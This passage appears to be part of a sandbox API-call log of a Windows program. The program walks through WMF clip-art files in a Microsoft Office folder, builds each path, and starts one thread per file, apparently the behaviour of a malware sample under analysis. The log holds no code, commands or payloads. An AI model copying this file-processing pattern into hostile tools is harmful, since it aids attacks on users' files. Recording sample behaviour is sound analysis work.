_Dest=0x1cf4b9b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.873] wcscat (in: _Dest=0x1cf4b9b0, _Source="DD01163_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" [0145.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4b9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2064 [0145.874] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01166_.WMF", cAlternateFileName="")) returned 1 [0145.874] wcscmp (_String1="DD01166_.WMF", _String2=".") returned 1 [0145.874] wcscmp (_String1="DD01166_.WMF", _String2="..") returned 1 [0145.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4ba40 [0145.875] wcscpy (in: _Dest=0x1cf4ba40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.875] wcscat (in: _Dest=0x1cf4ba40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.875] wcscat (in: _Dest=0x1cf4ba40, _Source="DD01166_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" [0145.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4ba40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2068 [0145.876] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01167_.WMF", cAlternateFileName="")) returned 1 [0145.876] wcscmp (_String1="DD01167_.WMF", _String2=".") returned 1 [0145.876] wcscmp (_String1="DD01167_.WMF", _String2="..") returned 1 [0145.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4bda0 [0145.876] wcscpy (in: _Dest=0x1cf4bda0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.876] wcscat (in: _Dest=0x1cf4bda0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.876] wcscat (in: _Dest=0x1cf4bda0, _Source="DD01167_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" [0145.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4bda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x206c [0145.877] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01168_.WMF", cAlternateFileName="")) returned 1 [0145.877] wcscmp (_String1="DD01168_.WMF", _String2=".") returned 1 [0145.878] wcscmp (_String1="DD01168_.WMF", _String2="..") returned 1 [0145.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c840 [0145.878] wcscpy (in: _Dest=0x1cf4c840, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.878] wcscat (in: _Dest=0x1cf4c840, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.878] wcscat (in: _Dest=0x1cf4c840, _Source="DD01168_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" [0145.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c840, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2070 [0145.879] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01169_.WMF", cAlternateFileName="")) returned 1 [0145.879] wcscmp (_String1="DD01169_.WMF", _String2=".") returned 1 [0145.879] wcscmp (_String1="DD01169_.WMF", _String2="..") returned 1 [0145.879] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c720 [0145.879] wcscpy (in: _Dest=0x1cf4c720, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.879] wcscat (in: _Dest=0x1cf4c720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.879] wcscat (in: _Dest=0x1cf4c720, _Source="DD01169_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" [0145.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2074 [0145.880] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x964, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01170_.WMF", cAlternateFileName="")) returned 1 [0145.880] wcscmp (_String1="DD01170_.WMF", _String2=".") returned 1 [0145.881] wcscmp (_String1="DD01170_.WMF", _String2="..") returned 1 [0145.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d5c0 [0145.881] wcscpy (in: _Dest=0x1cf4d5c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.881] wcscat (in: _Dest=0x1cf4d5c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.881] wcscat (in: _Dest=0x1cf4d5c0, _Source="DD01170_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" [0145.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2078 [0145.882] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01171_.WMF", cAlternateFileName="")) returned 1 [0145.882] wcscmp (_String1="DD01171_.WMF", _String2=".") returned 1 [0145.882] wcscmp (_String1="DD01171_.WMF", _String2="..") returned 1 [0145.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d890 [0145.882] wcscpy (in: _Dest=0x1cf4d890, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.882] wcscat (in: _Dest=0x1cf4d890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.882] wcscat (in: _Dest=0x1cf4d890, _Source="DD01171_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" [0145.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x207c [0145.883] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0145.883] wcscmp (_String1="DD01172_.WMF", _String2=".") returned 1 [0145.883] wcscmp (_String1="DD01172_.WMF", _String2="..") returned 1 [0145.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d380 [0145.884] wcscpy (in: _Dest=0x1cf4d380, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.884] wcscat (in: _Dest=0x1cf4d380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.884] wcscat (in: _Dest=0x1cf4d380, _Source="DD01172_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF" [0145.884] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2080 [0145.884] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0145.884] wcscmp (_String1="DD01173_.WMF", _String2=".") returned 1 [0145.885] wcscmp (_String1="DD01173_.WMF", _String2="..") returned 1 [0145.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d410 [0145.885] wcscpy (in: _Dest=0x1cf4d410, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.885] wcscat (in: _Dest=0x1cf4d410, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.885] wcscat (in: _Dest=0x1cf4d410, _Source="DD01173_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01173_.WMF" [0145.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2084 [0145.886] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0145.886] wcscmp (_String1="DD01176_.WMF", _String2=".") returned 1 [0145.886] wcscmp (_String1="DD01176_.WMF", _String2="..") returned 1 [0145.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d920 [0145.886] wcscpy (in: _Dest=0x1cf4d920, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.886] wcscat (in: _Dest=0x1cf4d920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.886] wcscat (in: _Dest=0x1cf4d920, _Source="DD01176_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01176_.WMF" [0145.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2088 [0145.887] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0145.887] wcscmp (_String1="DD01178_.WMF", _String2=".") returned 1 [0145.887] wcscmp (_String1="DD01178_.WMF", _String2="..") returned 1 [0145.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d800 [0145.887] wcscpy (in: _Dest=0x1cf4d800, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.887] wcscat (in: _Dest=0x1cf4d800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.887] wcscat (in: _Dest=0x1cf4d800, _Source="DD01178_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01178_.WMF" [0145.887] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208c [0145.888] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0145.888] wcscmp (_String1="DD01179_.WMF", _String2=".") returned 1 [0145.888] wcscmp (_String1="DD01179_.WMF", _String2="..") returned 1 [0145.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4dad0 [0145.889] wcscpy (in: _Dest=0x1cf4dad0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.889] wcscat (in: _Dest=0x1cf4dad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.889] wcscat (in: _Dest=0x1cf4dad0, _Source="DD01179_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" [0145.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4dad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2090 [0145.890] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0145.890] wcscmp (_String1="DD01180_.WMF", _String2=".") returned 1 [0145.890] wcscmp (_String1="DD01180_.WMF", _String2="..") returned 1 [0145.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d2f0 [0145.890] wcscpy (in: _Dest=0x1cf4d2f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.890] wcscat (in: _Dest=0x1cf4d2f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.890] wcscat (in: _Dest=0x1cf4d2f0, _Source="DD01180_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" [0145.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d2f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2094 [0145.891] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0145.891] wcscmp (_String1="DD01181_.WMF", _String2=".") returned 1 [0145.891] wcscmp (_String1="DD01181_.WMF", _String2="..") returned 1 [0145.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cba0 [0145.892] wcscpy (in: _Dest=0x1cf4cba0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.892] wcscat (in: _Dest=0x1cf4cba0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.892] wcscat (in: _Dest=0x1cf4cba0, _Source="DD01181_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" [0145.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2098 [0145.893] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0145.893] wcscmp (_String1="DD01182_.WMF", _String2=".") returned 1 [0145.893] wcscmp (_String1="DD01182_.WMF", _String2="..") returned 1 [0145.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c600 [0145.893] wcscpy (in: _Dest=0x1cf4c600, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.893] wcscat (in: _Dest=0x1cf4c600, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.893] wcscat (in: _Dest=0x1cf4c600, _Source="DD01182_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF" [0145.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x209c [0145.894] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0145.894] wcscmp (_String1="DD01183_.WMF", _String2=".") returned 1 [0145.894] wcscmp (_String1="DD01183_.WMF", _String2="..") returned 1 [0145.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d1d0 [0145.894] wcscpy (in: _Dest=0x1cf4d1d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.894] wcscat (in: _Dest=0x1cf4d1d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.894] wcscat (in: _Dest=0x1cf4d1d0, _Source="DD01183_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" [0145.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20a0 [0145.895] FindNextFileW (in: hFindFile=0x1cd9d2b0, 